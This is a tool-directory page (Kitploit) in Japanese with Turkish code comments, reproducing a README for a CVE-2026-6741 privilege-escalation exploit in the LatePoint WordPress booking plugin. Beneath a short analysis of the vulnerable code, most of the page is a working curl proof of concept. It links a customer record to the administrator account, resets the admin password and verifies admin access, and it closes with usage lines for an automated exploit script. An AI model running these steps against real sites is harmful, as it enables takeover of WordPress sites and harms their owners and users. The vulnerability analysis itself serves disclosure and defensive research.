Skip to content
KitploitKITPLOIT
ツールブログ
Log in
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-6741 — CVE-2026-6741 は、LatePoint – Calendar Booking Plugin における CVSS 8.8(高)の認証済み(Agent+)権限昇格の脆弱性です。 | Kitploit
ツール/GitHubGitHub/xxconi/cve-2026-6741
特権昇格脆弱性スキャナーエクスプロイトウェブアプリケーション悪用CTFペネトレーションテスト学習と教育
GitHubxxconi/cve-2026-6741

CVE-2026-6741

CVE-2026-6741 は、LatePoint – Calendar Booking Plugin における CVSS 8.8(高)の認証済み(Agent+)権限昇格の脆弱性です。

リポジトリを見る
114ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-6741

CVE-2026-6741 は、LatePoint – Calendar Booking Plugin における CVSS 8.8 (High) の Authenticated (Agent+) Privilege Escalation 脆弱性です。

CVE-2026-6741 — LatePoint 権限昇格スキャナー

プラグイン: LatePoint – Calendar Booking Plugin for Appointments and Events (latepoint) CVE ID: CVE-2026-6741 CVSS スコア: 8.8 (High) CVSS ベクター: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 脆弱性タイプ: Authenticated (Agent+) Privilege Escalation → Administrator Takeover 影響を受けるバージョン: <= 5.4.1 修正済みバージョン: 5.4.2 公開日: 2026年4月27日 研究者: skyv3il (AI SAFE), Chirita Catalin-Andrei / CC99IE (UVT-CTF), AmonRa — Wordfence


📌 脆弱性について

latepoint_agent ロールを持つ認証済みの攻撃者は、任意の LatePoint 顧客 (customer) レコードを WordPress 管理者アカウントにリンクし、その後 LatePoint 自身のパスワードリセットフローを利用して管理者のパスワードを変更できます。

この結果、サイト全体の乗っ取りにつながります。


🔍 脆弱性の概要

フィールド値
プラグイン名LatePoint – Calendar Booking Plugin
プラグインスラッグlatepoint
CVE IDCVE-2026-6741
CVSS スコア8.8 (High)
脆弱性タイプAuthenticated (Agent+) Privilege Escalation
影響を受けるバージョン<= 5.4.1
修正済みバージョン5.4.2
必要条件latepoint_agent ロール、WordPress 6.9+

⚙️ 技術的分析

WordPress Abilities API

LatePoint 5.3.0 は、WordPress 6.9+ で導入された Abilities API のサポートを追加しました。この API により、プラグインは REST API 経由で呼び出し可能な「アビリティ」クラスを登録できます。

// latepoint.php (5.4.1, line 907)
if ( function_exists( 'wp_register_ability' ) ) {
    include_once LATEPOINT_ABSPATH . 'lib/abilities/class-latepoint-abilities.php';
}

脆弱性のあるコードパス

1 — アビリティ定義 (ロールチェック欠如)

// lib/abilities/customers/connect-customer-to-wp-user.php — line 12
protected function configure(): void {
    $this->id         = 'latepoint/connect-customer-to-wp-user';
    $this->label      = __( 'Connect customer to WP user', 'latepoint' );
    $this->permission = 'customer__edit';   // ← tek kontrol: bu capability
}

Agent ロールはデフォルトで customer__edit 権限を持っています:

// lib/helpers/roles_helper.php — line 401
public static function get_default_capabilities_list_for_agent_role() {
    $capabilities = [
        ...
        'customer__edit',   // ← agent bu yetkiye sahip
        ...
    ];
}

2 — execute() — ロールチェックなし

// connect-customer-to-wp-user.php — lines 39–60
public function execute( array $args ) {
    $customer   = new OsCustomerModel( (int) $args['customer_id'] );
    $wp_user_id = (int) $args['wp_user_id'];

    if ( ! get_userdata( $wp_user_id ) ) {
        // Sadece kullanıcının var olup olmadığı kontrol ediliyor
        // EKSIK: Hedef kullanıcının rolü kontrol edilmiyor
        return new WP_Error( 'wp_user_not_found', ... );
    }

    $customer->wordpress_user_id = $wp_user_id;  // ← herhangi bir WP user'a bağla
    $customer->save();

    return $this->serialize_customer( ... );
}

3 — パスワードリセットの連鎖

// lib/models/customer_model.php — line 315
public function update_password( $password ) {
    if ( OsAuthHelper::can_wp_users_login_as_customers()
         && $this->wordpress_user_id ) {
        wp_set_password( $password, $this->wordpress_user_id );
        // ↑ wordpress_user_id artık admin ID'si → admin şifresi değişir
    }
}

既存のコントロールが不十分な理由

// LatePointAbstractAbility — check_permission()
public function check_permission(): bool {
    return OsRolesHelper::can_user( $this->permission );
    // Sadece ÇAĞIRANIN yetkisini kontrol eder
    // HEDEF kullanıcının rolünü kontrol etmez
}

🔴 攻撃チェーン

latepoint_agent hesabı
        │
        ▼
1. Agent olarak WP'ye giriş yap → REST nonce al
        │
        ▼
2. Hedef admin WordPress user ID'sini tespit et
   (wp-json/wp/v2/users veya ID=1)
        │
        ▼
3. POST /wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user
   { "customer_id": 5, "wp_user_id": 1 }
   → Rol kontrolü yok → Başarılı
        │
        ▼
4. LatePoint forgot_password → customer emailine reset token gönder
        │
        ▼
5. Token ile change_password → update_password() çağrılır
   → wp_set_password("Hacked!", 1)
   → Admin şifresi değişti
        │
        ▼
6. Yeni şifreyle admin olarak giriş → Tam site kontrolü ✓

🧪 Proof of Concept (手動)

⚠️ Disclaimer: This PoC is provided for educational and defensive security research purposes only.

前提条件:

  • WordPress 6.9+ (Abilities API が必要)
  • LatePoint <= 5.4.1 がインストールされ、有効化されていること
  • latepoint_agent ロールを持つアカウント
  • 制御下にある LatePoint 顧客 (customer) レコード

ステップ 1 — Agent ログイン + REST Nonce

WP_URL="https://target.example.com"
AGENT_USER="agent_user"
AGENT_PASS="agent_password"

# Cookie tabanlı oturum aç
curl -c cookies.txt -b cookies.txt -s -X POST "$WP_URL/wp-login.php" \
  -d "log=$AGENT_USER&pwd=$AGENT_PASS&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  -H "Cookie: wordpress_test_cookie=WP+Cookie+check"

# REST nonce al
NONCE=$(curl -s -b cookies.txt \
  "$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")
echo "Nonce: $NONCE"

ステップ 2 — Admin User ID の特定

# REST API ile admin kullanıcıları listele
curl -s "$WP_URL/wp-json/wp/v2/users?roles=administrator" \
  -H "X-WP-Nonce: $NONCE" | python3 -m json.tool

ADMIN_WP_USER_ID=1   # Genellikle ID=1

ステップ 3 — Customer → Admin のリンク (脆弱性)

CUSTOMER_ID=5   # Kontrol ettiğin LatePoint customer ID

curl -s -b cookies.txt -X POST \
  "$WP_URL/wp-json/wp/v2/abilities/latepoint/connect-customer-to-wp-user" \
  -H "Content-Type: application/json" \
  -H "X-WP-Nonce: $NONCE" \
  -d "{\"customer_id\": $CUSTOMER_ID, \"wp_user_id\": $ADMIN_WP_USER_ID}"

期待される応答:

{
  "id": 5,
  "wp_user_id": 1,
  "email": "[email protected]"
}

ステップ 4 — パスワードリセットの開始

CUSTOMER_EMAIL="[email protected]"

curl -s -X POST \
  "$WP_URL/?latepoint_route=customer_cabinet%2Fforgot_password" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "password_reset_email=$CUSTOMER_EMAIL"

LatePoint は、account_nonce トークンを含むリセットメールを $CUSTOMER_EMAIL アドレスに送信します。


ステップ 5 — パスワードの変更

RESET_TOKEN="<emailden_alinan_token>"
NEW_PASSWORD="Attacker_Password123!"

curl -s -X POST \
  "$WP_URL/?latepoint_route=customer_cabinet%2Fchange_password" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "password_reset_token=$RESET_TOKEN&password=$NEW_PASSWORD&password_confirmation=$NEW_PASSWORD"

この呼び出しは update_password() → wp_set_password($NEW_PASSWORD, 1) のチェーンをトリガーします。管理者パスワードが変更されました。


ステップ 6 — 管理者としてログイン

curl -c admin_cookies.txt -b admin_cookies.txt -s -X POST \
  "$WP_URL/wp-login.php" \
  -d "log=admin&pwd=$NEW_PASSWORD&wp-submit=Log+In&redirect_to=%2Fwp-admin%2F&testcookie=1" \
  -H "Cookie: wordpress_test_cookie=WP+Cookie+check"

検証

# wp-admin erişimi
curl -b admin_cookies.txt "$WP_URL/wp-admin/user-new.php"
# Beklenen: 200 OK (wp-login.php'ye yönlendirme değil)

# REST API ile rol doğrulama
ADMIN_NONCE=$(curl -s -b admin_cookies.txt \
  "$WP_URL/wp-admin/admin-ajax.php?action=rest-nonce")

curl -s "$WP_URL/wp-json/wp/v2/users/me" \
  -H "X-WP-Nonce: $ADMIN_NONCE" | python3 -m json.tool
# Beklenen: "roles": ["administrator"]

🛠️ 自動スキャナー

インストール

git clone https://github.com/kullanici/cve-2026-6741-scanner
cd cve-2026-6741-scanner
pip install -r requirements.txt

requirements.txt

requests

🚀 使用方法

単一ターゲット — 完全自動

python latepoint_privesc.py -u http://hedef.com \
  --agent-user agent1 --agent-pass Pass123!

Admin ID と Customer ID を手動指定

python latepoint_privesc.py -u http://hedef.com \
  --agent-user agent1 --agent-pass Pass123! \
  --admin-id 1 \
  --customer-id 5 \
  --customer-email [email protected]

フェーズ 2 — Reset Token でパスワード変更

ツールをダウンロード